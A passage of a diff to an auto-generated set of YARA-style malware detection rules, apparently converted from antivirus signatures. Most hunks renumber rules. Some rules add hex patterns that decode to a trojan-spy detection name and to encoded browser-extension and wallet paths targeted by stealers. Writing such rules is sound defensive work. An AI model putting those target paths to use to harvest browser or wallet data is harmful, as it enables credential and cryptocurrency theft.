1)*24940+(#a_6e_3 & 1)*25971+(#a_6b_4 & 1)*24944+(#a_41_7 & 1)*8448+(#a_00_8 & 1)*24376+(#a_00_9 & 1)*144) >=10 } -rule _InfrastructureShared_19793{ +rule _InfrastructureShared_21001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -247233,7 +262237,7 @@ rule _InfrastructureShared_19793{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*24841+(#a_00_2 & 1)*105+(#a_00_3 & 1)*111+(#a_2d_4 & 1)*14637+(#a_00_6 & 1)*32) >=2 } -rule _InfrastructureShared_19794{ +rule _InfrastructureShared_21002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -247249,7 +262253,7 @@ rule _InfrastructureShared_19794{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*14637+(#a_61_2 & 1)*8291+(#a_20_3 & 1)*30575+(#a_01_4 & 1)*-28672+(#a_09_5 & 1)*6544+(#a_2d_6 & 1)*31277) >=3 } -rule _InfrastructureShared_19795{ +rule _InfrastructureShared_21003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -247265,7 +262269,7 @@ rule _InfrastructureShared_19795{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*24922+(#a_5c_2 & 1)*26980+(#a_30_3 & 1)*300+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1) >=7 } -rule _InfrastructureShared_19796{ +rule _InfrastructureShared_21004{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 13 00 21 " @@ -247289,7 +262293,7 @@ rule _InfrastructureShared_19796{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*25711+(#a_74_2 & 1)*28505+(#a_73_3 & 1)*31073+(#a_65_4 & 1)*26994+(#a_2d_5 & 1)*13669+(#a_50_6 & 1)*17199+(#a_00_8 & 1)*115+(#a_00_10 & 1)*109+(#a_00_12 & 1)*71+(#a_00_13 & 1)*47+(#a_61_14 & 1)*28265+(#a_00_15 & 1)*111+(#a_00_16 & 1)*121+(#a_00_17 & 1)*73) >=19 } -rule _InfrastructureShared_19797{ +rule _InfrastructureShared_21005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 05 00 21 " @@ -247302,7 +262306,7 @@ rule _InfrastructureShared_19797{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*67+(#a_00_2 & 1)*108+(#a_00_4 & 1)*85) >=100 } -rule _InfrastructureShared_19798{ +rule _InfrastructureShared_21006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffd2 00 ffffffd2 00 09 00 21 " @@ -247317,7 +262321,7 @@ rule _InfrastructureShared_19798{ ((#a_4e_0 & 1)*20259+(#a_00_1 & 1)*111+(#a_00_2 & 1)*60+(#a_00_4 & 1)*83+(#a_00_6 & 1)*116+(#a_00_8 & 1)*116) >=210 } -rule _InfrastructureShared_19799{ +rule _InfrastructureShared_21007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -247332,7 +262336,7 @@ rule _InfrastructureShared_19799{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*12665+(#a_6d_2 & 1)*16433+(#a_72_3 & 1)*8302+(#a_63_4 & 1)*25632+(#a_72_5 & 1)*27491) >=2 } -rule _InfrastructureShared_19800{ +rule _InfrastructureShared_21008{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -247344,7 +262348,7 @@ rule _InfrastructureShared_19800{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*88+(#a_64_2 & 1)*30063) >=3 } -rule _InfrastructureShared_19801{ +rule _InfrastructureShared_21009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -247356,7 +262360,7 @@ rule _InfrastructureShared_19801{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28265+(#a_00_3 & 1)*114) >=4 } -rule _InfrastructureShared_19802{ +rule _InfrastructureShared_21010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -247377,7 +262381,7 @@ rule _InfrastructureShared_19802{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*29285+(#a_32_2 & 1)*12594+(#a_00_4 & 1)*54+(#a_00_6 & 1)*102+(#a_00_7 & 1)*46+(#a_6e_8 & 1)*24909+(#a_2e_9 & 1)*26207+(#a_73_10 & 1)*25458+(#a_61_12 & 1)*24900+(#a_65_13 & 1)*31060+(#a_6e_14 & 1)*17017) >=15 } -rule _InfrastructureShared_19803{ +rule _InfrastructureShared_21011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -247400,7 +262404,7 @@ rule _InfrastructureShared_19803{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*30063+(#a_75_2 & 1)*29545+(#a_6f_4 & 1)*28245+(#a_77_5 & 1)*29537+(#a_2f_6 & 1)*18771+(#a_61_7 & 1)*20737+(#a_61_8 & 1)*20737+(#a_70_9 & 1)*26702+(#a_01_10 & 1)*25956+(#a_5f_11 & 1)*24937+(#a_2d_12 & 1)*23085+(#a_00_14 & 1)*117+(#a_03_15 & 1)*1) >=16 } -rule _InfrastructureShared_19804{ +rule _InfrastructureShared_21012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -247422,7 +262426,7 @@ rule _InfrastructureShared_19804{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25955+(#a_63_2 & 1)*30063+(#a_61_3 & 1)*31052+(#a_6e_4 & 1)*17017+(#a_61_5 & 1)*12386+(#a_3a_6 & 1)*12889+(#a_52_7 & 1)*822+(#a_00_9 & 1)*109+(#a_68_11 & 1)*23552+(#a_00_13 & 1)*47+(#a_30_14 & 1)*300+(#a_2c_15 & 1)*2) >=16 } -rule _InfrastructureShared_19805{ +rule _InfrastructureShared_21013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -247435,7 +262439,7 @@ rule _InfrastructureShared_19805{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305+(#a_2d_3 & 1)*2305+(#a_00_5 & 1)*93) >=2 } -rule _InfrastructureShared_19806{ +rule _InfrastructureShared_21014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 07 00 21 " @@ -247451,7 +262455,7 @@ rule _InfrastructureShared_19806{ ((#a_46_0 & 1)*16675+(#a_59_1 & 1)*25185+(#a_61_2 & 1)*22104+(#a_3d_3 & 1)*26422+(#a_5a_4 & 1)*31094+(#a_65_5 & 1)*16687+(#a_42_6 & 1)*2304) >=8 } -rule _InfrastructureShared_19807{ +rule _InfrastructureShared_21015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -247469,7 +262473,7 @@ rule _InfrastructureShared_19807{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*97+(#a_72_2 & 1)*26227+(#a_41_3 & 1)*14393+(#a_42_4 & 1)*17478+(#a_33_5 & 1)*13618+(#a_41_6 & 1)*13364+(#a_73_7 & 1)*24902+(#a_64_8 & 1)*26211) >=9 } -rule _InfrastructureShared_19808{ +rule _InfrastructureShared_21016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -247489,7 +262493,7 @@ rule _InfrastructureShared_19808{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*27748+(#a_73_2 & 1)*29555+(#a_66_3 & 1)*25448+(#a_01_4 & 1)*6656+(#a_65_5 & 1)*16687+(#a_63_6 & 1)*11888+(#a_00_7 & 1)*29541+(#a_61_8 & 1)*384+(#a_57_9 & 1)*28277+(#a_80_10 & 1)*1) >=11 } -rule _InfrastructureShared_19809{ +rule _InfrastructureShared_21017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 15 00 21 " @@ -247515,7 +262519,7 @@ rule _InfrastructureShared_19809{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*28777+(#a_6f_2 & 1)*25955+(#a_65_3 & 1)*28530+(#a_63_5 & 1)*25089+(#a_65_6 & 1)*24933+(#a_61_7 & 1)*29295+(#a_00_9 & 1)*101+(#a_00_11 & 1)*108+(#a_30_12 & 1)*300+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_21_15 & 1)*0+(#a_00_17 & 1)*110+(#a_00_18 & 1)*32+(#a_81_19 & 1)*1025+(#a_90_20 & 1)*-931) >=21 } -rule _InfrastructureShared_19810{ +rule _InfrastructureShared_21018{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -247526,7 +262530,7 @@ rule _InfrastructureShared_19810{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*113) >=1 } -rule _InfrastructureShared_19811{ +rule _InfrastructureShared_21019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -247541,7 +262545,7 @@ rule _InfrastructureShared_19811{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*24931+(#a_90_2 & 1)*1073+(#a_81_3 & 1)*1025+(#a_90_4 & 1)*-931+(#a_72_5 & 1)*27764) >=1 } -rule _InfrastructureShared_19812{ +rule _InfrastructureShared_21020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,35 00 35 00 11 00 21 " @@ -247563,7 +262567,7 @@ rule _InfrastructureShared_19812{ ((#a_66_0 & 1)*21283+(#a_6c_2 & 1)*6656+(#a_00_4 & 1)*97+(#a_00_6 & 1)*70+(#a_54_7 & 1)*270+(#a_00_8 & 1)*0+(#a_00_10 & 1)*111+(#a_6c_11 & 1)*30575+(#a_00_12 & 1)*8558+(#a_90_13 & 1)*-14199+(#a_89_14 & 1)*656+(#a_02_15 & 1)*1025+(#a_40_16 & 1)*3848) >=53 } -rule _InfrastructureShared_19813{ +rule _InfrastructureShared_21021{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 09 00 21 " @@ -247580,7 +262584,7 @@ rule _InfrastructureShared_19813{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*912+(#a_8b_3 & 1)*11776+(#a_00_4 & 1)*400+(#a_89_5 & 1)*400+(#a_3d_6 & 1)*12744+(#a_ea_7 & 1)*0+(#a_24_8 & 1)*-29949) >=1 } -rule _InfrastructureShared_19814{ +rule _InfrastructureShared_21022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -247596,7 +262600,7 @@ rule _InfrastructureShared_19814{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*16762+(#a_5a_2 & 1)*16762+(#a_2e_3 & 1)*28003+(#a_00_5 & 1)*92+(#a_00_7 & 1)*110+(#a_03_8 & 1)*1) >=3 } -rule _InfrastructureShared_19815{ +rule _InfrastructureShared_21023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -247609,7 +262613,7 @@ rule _InfrastructureShared_19815{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*121+(#a_00_3 & 1)*114+(#a_00_5 & 1)*92) >=4 } -rule _InfrastructureShared_19816{ +rule _InfrastructureShared_21024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -247626,12 +262630,12 @@ rule _InfrastructureShared_19816{ $a_6f_10 = {01 00 0c 81 01 2e 67 2e 72 65 73 6f 75 72 63 65 73 01 00 06 81 01 46 6f 72 6d 61 74 01 00 09 81 01 41 64 64 4f 62 6a 65 63 74 01 00 11 81 01 43 6f 6e 63 61 74 65 6e 61 74 65 4f 62 6a 65 63 74 01 00 0e 81 01 53 75 62 74 72 61 63 74 4f 62 6a 65 63 74 01 00 09 81 01 4e 6f 74 4f 62 6a 65 63 74 01 00 05 81 01 53 70 6c } //29808 $a_00_11 = {0e } //29801 $a_61_12 = {65 53 65 74 43 6f 6d 70 6c 65 78 01 00 0f 81 01 49 6e 69 74 69 61 6c 69 7a 65 41 72 72 61 79 01 00 0b 81 01 43 6f 6e 74 61 69 6e 73 4b 65 79 01 00 14 81 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 01 00 0f 81 } //385 - $a_63_13 = {69 6f 6e 61 72 79 45 6e 74 72 79 01 00 25 81 01 24 35 37 65 38 30 38 65 31 2d 62 62 62 64 2d 34 35 35 62 2d 61 39 64 63 2d 32 38 61 38 63 32 63 38 32 38 66 62 01 00 14 81 01 53 65 37 71 33 41 57 67 38 36 43 66 63 30 59 50 72 32 39 4a 00 00 78 23 02 00 04 00 04 00 13 00 21 23 48 53 54 52 3a 59 65 73 75 64 61 63 2e } //17409 + $a_63_13 = {69 6f 6e 61 72 79 45 6e 74 72 79 01 00 25 81 01 24 35 37 65 38 30 38 65 31 2d 62 62 62 64 2d 34 35 35 62 2d 61 39 64 63 2d 32 38 61 38 63 32 63 38 32 38 66 62 01 00 14 81 01 53 65 37 71 33 41 57 67 38 36 43 66 63 30 59 50 72 32 39 4a 00 00 78 23 02 00 04 00 04 00 07 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e } //17409 condition: ((#a_4c_0 & 1)*21539+(#a_79_1 & 1)*24946+(#a_6e_2 & 1)*17153+(#a_62_3 & 1)*19565+(#a_69_4 & 1)*26990+(#a_00_6 & 1)*25+(#a_37_7 & 1)*17733+(#a_79_8 & 1)*28500+(#a_01_9 & 1)*29793+(#a_6f_10 & 1)*29808+(#a_00_11 & 1)*29801+(#a_61_12 & 1)*385+(#a_63_13 & 1)*17409) >=14 } -rule _InfrastructureShared_19817{ +rule _InfrastructureShared_21025{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 19 00 21 " @@ -247655,16 +262659,33 @@ rule _InfrastructureShared_19817{ $a_81_16 = {44 69 63 74 69 6f 6e 61 72 79 45 6e 74 72 79 } //1 DictionaryEntry $a_81_17 = {24 35 37 65 38 30 38 65 31 2d 62 62 62 64 2d 34 35 35 62 2d 61 39 64 63 2d 32 38 61 38 63 32 63 38 32 38 66 62 } //1 $57e808e1-bbbd-455b-a9dc-28a8c2c828fb $a_81_18 = {53 65 37 71 33 41 57 67 38 36 43 66 63 30 59 50 72 32 39 4a } //1 Se7q3AWg86Cfc0YPr29J - $a_23_19 = {00 04 00 04 00 13 00 21 23 48 53 54 52 3a 59 65 73 75 64 61 63 2e 41 32 00 01 00 10 01 36 43 39 43 33 43 39 44 33 33 41 35 32 42 42 44 01 00 10 01 43 45 32 31 41 30 32 30 42 35 32 36 41 42 33 43 01 00 10 01 32 45 35 45 46 46 34 31 39 34 43 34 30 38 35 38 01 00 10 01 39 46 44 31 37 33 44 32 30 36 35 36 46 42 36 43 01 00 10 01 38 36 46 36 35 36 46 37 36 44 46 } //0 - $a_39_20 = {01 00 10 01 37 46 46 31 35 33 46 32 36 36 46 36 35 41 38 41 01 00 20 01 38 00 38 00 46 00 38 00 35 00 38 00 46 00 39 00 36 00 46 00 45 00 31 00 36 00 37 00 46 } //13382 - $a_39_22 = {43 } //4608 C - $a_35_23 = {41 41 45 39 37 32 38 36 45 38 03 00 12 01 36 45 46 42 36 30 39 30 45 32 32 30 34 38 42 43 32 31 03 00 12 01 45 45 37 41 46 45 37 31 38 35 38 32 45 41 30 31 36 35 03 00 } //12851 - $a_37_24 = {32 44 36 32 39 35 44 42 41 32 35 35 42 39 46 03 00 12 01 34 36 39 33 44 39 32 41 35 43 42 42 32 34 35 38 39 41 03 00 12 01 32 38 42 35 33 41 34 41 42 43 44 } //274 䐲㈶㔹䉄㉁㔵㥂͆ሀ㐁㤶䐳㈹㕁䉃㉂㔴㤸́ሀ㈁䈸㌵㑁䉁䑃 + $a_23_19 = {00 04 00 04 00 07 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 53 65 6e 74 72 65 65 57 6f 72 64 2e 41 21 64 68 61 00 01 00 30 01 55 77 42 30 41 47 55 41 59 51 42 73 41 48 51 41 61 41 41 67 41 45 45 41 63 77 42 7a 41 47 45 41 63 77 42 7a 41 47 6b 41 62 67 41 41 41 41 3d 3d 01 00 28 01 52 41 42 76 41 48 51 41 51 51 41 67 41 45 } //0 + $a_51_20 = {75 41 47 55 41 63 67 42 68 41 47 77 41 63 77 41 41 41 41 3d 3d 01 00 30 01 54 67 42 6c 41 48 49 41 64 51 42 69 41 47 6b 41 59 51 42 75 41 43 41 41 51 51 42 7a 41 48 4d 41 59 51 42 7a 41 48 4d 41 61 51 42 75 41 41 41 41 01 00 a4 01 52 77 42 76 41 47 38 41 5a 77 42 73 41 } //16739 + $a_58_21 = {42 63 41 45 4d 41 61 41 42 79 41 47 38 41 62 51 42 6c 41 46 77 41 58 41 42 56 41 48 4d 41 5a 51 42 79 41 43 41 41 52 41 42 68 41 48 51 41 59 51 42 63 41 46 77 41 52 41 42 6c 41 47 59 41 59 51 42 } //21831 BcAEMAaAByAG8AbQBlAFwAXABVAHMAZQByACAARABhAHQAYQBcAFwARABlAGYAYQB + $a_77_22 = {64 41 42 63 41 46 77 41 54 41 42 76 41 47 4d 41 59 51 42 73 41 43 41 41 52 51 42 34 41 48 51 41 5a 51 42 75 41 48 4d 41 61 51 42 76 41 47 34 41 49 41 42 54 41 47 55 41 64 41 42 30 41 47 6b 41 62 67 42 6e 41 48 4d } //16689 dABcAFwATABvAGMAYQBsACAARQB4AHQAZQBuAHMAaQBvAG4AIABTAGUAdAB0AGkAbgBnAHM + $a_41_23 = {01 00 58 01 62 67 42 72 41 47 49 41 61 51 42 6f 41 47 59 41 59 67 42 6c 41 47 38 41 5a 77 42 68 41 47 55 41 59 51 42 76 41 47 55 41 61 41 42 73 41 47 55 41 5a 67 42 75 41 47 73 41 62 77 42 6b 41 } //16705 + $a_5a_24 = {42 6d 41 47 63 41 63 41 42 6e 41 47 73 41 62 67 42 75 41 41 41 41 01 00 10 01 56 32 46 73 62 47 56 30 49 45 6c 75 5a 6d 38 3d 04 00 40 01 51 51 42 7a 41 48 55 41 63 67 42 68 41 44 41 41 4d 41 41 } //18759 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*385+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1+(#a_81_13 & 1)*1+(#a_81_14 & 1)*1+(#a_81_15 & 1)*1+(#a_81_16 & 1)*1+(#a_81_17 & 1)*1+(#a_81_18 & 1)*1+(#a_23_19 & 1)*0+(#a_39_20 & 1)*13382+(#a_39_22 & 1)*4608+(#a_35_23 & 1)*12851+(#a_37_24 & 1)*274) >=25 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*385+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1+(#a_81_13 & 1)*1+(#a_81_14 & 1)*1+(#a_81_15 & 1)*1+(#a_81_16 & 1)*1+(#a_81_17 & 1)*1+(#a_81_18 & 1)*1+(#a_23_19 & 1)*0+(#a_51_20 & 1)*16739+(#a_58_21 & 1)*21831+(#a_77_22 & 1)*16689+(#a_41_23 & 1)*16705+(#a_5a_24 & 1)*18759) >=25 } -rule _InfrastructureShared_19818{ +rule _InfrastructureShared_21026{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 53 65 6e 74 72 65 65 57 6f 72 64 2e 41 21 64 68 61 00 01 00 30 01 55 77 42 30 41 47 55 41 59 51 42 73 41 48 51 41 61 41 41 67 41 45 45 41 63 77 42 7a 41 47 45 41 63 77 42 } //16675 + $a_6b_1 = {62 67 41 41 41 41 3d 3d 01 00 28 01 52 41 42 76 41 48 51 41 51 51 41 67 41 45 63 41 5a 51 42 75 41 47 55 41 63 67 42 68 41 47 77 41 63 77 41 41 41 41 3d 3d 01 00 30 01 54 67 42 6c 41 48 49 41 64 51 42 69 41 47 6b } //16762 + $a_42_2 = {41 43 41 41 51 51 42 7a 41 48 4d 41 59 51 42 7a 41 48 4d 41 61 51 42 75 41 41 41 41 01 00 a4 01 52 77 42 76 41 47 38 41 5a 77 42 73 41 47 55 41 58 41 42 63 41 45 4d 41 61 41 42 79 41 47 38 41 62 51 42 6c 41 46 77 41 58 41 42 56 41 48 4d 41 5a } //22849 + $a_41_3 = {41 41 52 41 42 68 41 48 51 41 59 51 42 63 41 46 77 41 52 41 42 6c 41 47 59 41 59 51 42 31 41 47 77 41 64 41 42 63 41 46 77 41 54 41 42 76 41 47 4d 41 59 51 42 73 41 43 41 41 52 51 42 34 41 48 51 41 5a 51 42 75 41 48 4d 41 61 51 42 76 41 47 34 41 49 41 42 54 41 47 55 41 64 41 42 30 41 47 6b 41 62 67 42 6e 41 48 4d 41 41 41 41 3d 01 00 58 01 62 67 42 72 41 47 49 } //16977 + $a_42_4 = {41 47 59 41 59 67 42 6c 41 47 38 41 5a 77 42 68 41 47 55 41 59 51 42 76 41 47 55 41 61 41 42 73 41 47 55 41 5a 67 42 75 41 47 73 41 62 77 42 6b 41 47 49 41 5a 51 42 6d 41 47 63 41 63 41 42 6e 41 47 73 41 62 67 42 75 41 41 41 41 01 00 10 01 56 } //24897 + $a_62_5 = {56 30 49 45 6c 75 5a 6d 38 3d 04 00 40 01 51 51 42 7a 41 48 55 41 63 67 42 68 41 44 41 41 4d 41 41 77 41 44 49 41 4d 41 41 34 41 45 41 41 61 41 42 76 41 48 51 41 62 51 42 68 41 47 6b 41 62 41 41 75 41 47 4d 41 62 77 42 74 41 41 41 41 00 00 78 23 02 00 04 00 04 00 13 00 21 23 48 53 54 52 3a 59 65 73 75 64 61 63 2e 41 32 00 01 00 10 01 36 43 39 } //17970 + $a_39_6 = {33 33 41 35 32 42 42 44 01 00 10 01 43 45 32 31 41 30 32 30 42 35 32 36 41 42 33 43 01 00 10 01 32 45 35 45 46 46 34 31 39 34 43 34 30 38 35 38 01 00 10 01 39 46 44 31 37 33 44 32 30 36 35 36 46 42 36 } //13123 + condition: + ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*16762+(#a_42_2 & 1)*22849+(#a_41_3 & 1)*16977+(#a_42_4 & 1)*24897+(#a_62_5 & 1)*17970+(#a_39_6 & 1)*13123) >=4 + +} +rule _InfrastructureShared_21027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 13 00 21 " @@ -247690,7 +262711,7 @@ rule _InfrastructureShared_19818{ ((#a_54_0 & 1)*18467+(#a_35_1 & 1)*12338+(#a_00_2 & 1)*56+(#a_45_3 & 1)*14640+(#a_46_4 & 1)*16949+(#a_00_5 & 1)*66+(#a_32_6 & 1)*17985+(#a_44_7 & 1)*14131+(#a_44_8 & 1)*14404+(#a_61_9 & 1)*28530+(#a_00_10 & 1)*117+(#a_00_12 & 1)*100+(#a_00_14 & 1)*117+(#a_00_15 & 1)*70+(#a_74_16 & 1)*24927+(#a_62_17 & 1)*22275+(#a_65_18 & 1)*28257) >=4 } -rule _InfrastructureShared_19819{ +rule _InfrastructureShared_21028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -247704,7 +262725,7 @@ rule _InfrastructureShared_19819{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*117+(#a_00_3 & 1)*115+(#a_00_5 & 1)*102+(#a_00_7 & 1)*97) >=8 } -rule _InfrastructureShared_19820{ +rule _InfrastructureShared_21029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -247724,7 +262745,7 @@ rule _InfrastructureShared_19820{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*281+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_01_10 & 1)*1) >=11 } -rule _InfrastructureShared_19821{ +rule _InfrastructureShared_21030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -247745,7 +262766,7 @@ rule _InfrastructureShared_19821{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*16988+(#a_69_2 & 1)*30061+(#a_69_3 & 1)*21596+(#a_72_4 & 1)*27748+(#a_61_5 & 1)*27713+(#a_00_6 & 1)*115+(#a_00_7 & 1)*144+(#a_25_8 & 1)*-29949+(#a_30_9 & 1)*22288+(#a_08_10 & 1)*17465+(#a_61_11 & 1)*29808) >=12 } -rule _InfrastructureShared_19822{ +rule _InfrastructureShared_21031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -247761,7 +262782,7 @@ rule _InfrastructureShared_19822{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*105+(#a_0d_2 & 1)*-247+(#a_ff_4 & 1)*32128+(#a_32_5 & 1)*1206+(#a_41_6 & 1)*400+(#a_ff_7 & 1)*-15617) >=2 } -rule _InfrastructureShared_19823{ +rule _InfrastructureShared_21032{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 13 00 21 " @@ -247788,7 +262809,7 @@ rule _InfrastructureShared_19823{ ((#a_46_0 & 1)*21283+(#a_73_1 & 1)*24942+(#a_65_2 & 1)*28515+(#a_2d_3 & 1)*17750+(#a_69_4 & 1)*11636+(#a_6d_5 & 1)*14963+(#a_4d_6 & 1)*13106+(#a_6f_7 & 1)*29793+(#a_57_8 & 1)*24940+(#a_4f_9 & 1)*29550+(#a_74_10 & 1)*24946+(#a_6d_11 & 1)*28270+(#a_61_12 & 1)*25633+(#a_4f_13 & 1)*26223+(#a_6c_15 & 1)*24902+(#a_65_16 & 1)*29285+(#a_20_17 & 1)*24946+(#a_00_18 & 1)*9592) >=8 } -rule _InfrastructureShared_19824{ +rule _InfrastructureShared_21033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -247809,7 +262830,7 @@ rule _InfrastructureShared_19824{ ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*30065+(#a_6f_2 & 1)*29285+(#a_72_3 & 1)*29543+(#a_74_4 & 1)*21797+(#a_69_5 & 1)*28001+(#a_64_6 & 1)*24864+(#a_78_7 & 1)*30768+(#a_61_8 & 1)*8302+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1) >=12 } -rule _InfrastructureShared_19825{ +rule _InfrastructureShared_21034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 10 00 21 " @@ -247833,7 +262854,7 @@ rule _InfrastructureShared_19825{ ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*25199+(#a_6c_2 & 1)*18021+(#a_61_3 & 1)*8306+(#a_61_4 & 1)*28755+(#a_64_5 & 1)*24936+(#a_73_6 & 1)*25710+(#a_65_7 & 1)*28537+(#a_65_8 & 1)*25964+(#a_6c_9 & 1)*25685+(#a_65_10 & 1)*25711+(#a_61_12 & 1)*9473+(#a_42_13 & 1)*385+(#a_5c_14 & 1)*30063+(#a_61_15 & 1)*29285) >=5 } -rule _InfrastructureShared_19826{ +rule _InfrastructureShared_21035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -247854,7 +262875,7 @@ rule _InfrastructureShared_19826{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*25972+(#a_72_2 & 1)*25449+(#a_73_3 & 1)*26716+(#a_74_4 & 1)*26478+(#a_00_5 & 1)*9592+(#a_00_6 & 1)*13+(#a_6f_7 & 1)*30023+(#a_65_8 & 1)*30068+(#a_6c_9 & 1)*25646+(#a_72_10 & 1)*26994+(#a_62_11 & 1)*28233) >=12 } -rule _InfrastructureShared_19827{ +rule _InfrastructureShared_21036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -247875,7 +262896,7 @@ rule _InfrastructureShared_19827{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*29545+(#a_73_2 & 1)*29806+(#a_25_3 & 